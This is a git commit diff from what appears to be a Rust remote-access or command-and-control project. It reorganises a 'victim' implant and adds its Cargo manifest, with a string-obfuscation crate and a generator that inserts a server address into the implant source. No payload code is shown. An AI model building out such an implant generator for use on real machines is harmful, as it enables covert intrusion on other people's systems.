made the rust_victim more organized and easier to install

This commit is contained in:
2026-08-27 14:51:32 -05:00
parent 56e6971aac
commit fcbd0745c4
4 changed files with 12 additions and 3 deletions
+1 -2
View File
@@ -1,7 +1,6 @@
use clap::Parser;
use rand::RngExt;
use rand::distr::Alphanumeric;
use std::sync::mpsc::channel;
use std::sync::{Arc, Mutex};
use std::thread::{sleep, spawn};
use std::time::Duration;
@@ -154,7 +153,7 @@ async fn main() {
let handles = Arc::new(Mutex::new(Vec::new()));
let handles_clone = handles.clone();
let primary_handle = spawn(move || {
println!("entering tui...");
println!("entering startup function...");
let _ = startup(appstate, false, handles_clone);
});
if let Ok(mut lock) = handles.lock() {
+1 -1
View File
@@ -14,7 +14,7 @@ pub fn generate_code(
) -> Result<(), Box<dyn Error>> {
let mut source_path = config_file.clone();
source_path.pop();
source_path.push("victim/src/main.rs");
source_path.push("victim/rust_victim/src/main.rs");
let mut source = read_to_string(&source_path)?;
source = source
.replace("|||SERVER|||", &address)
+10
View File
@@ -0,0 +1,10 @@
[package]
name = "tetanus_victim"
version = "0.1.0"
edition = "2024"
[dependencies]
obfstr = "0.4.6"
rustls = "0.23.43"
rustls-pemfile = "2.2.0"
sysinfo = "0.39.6"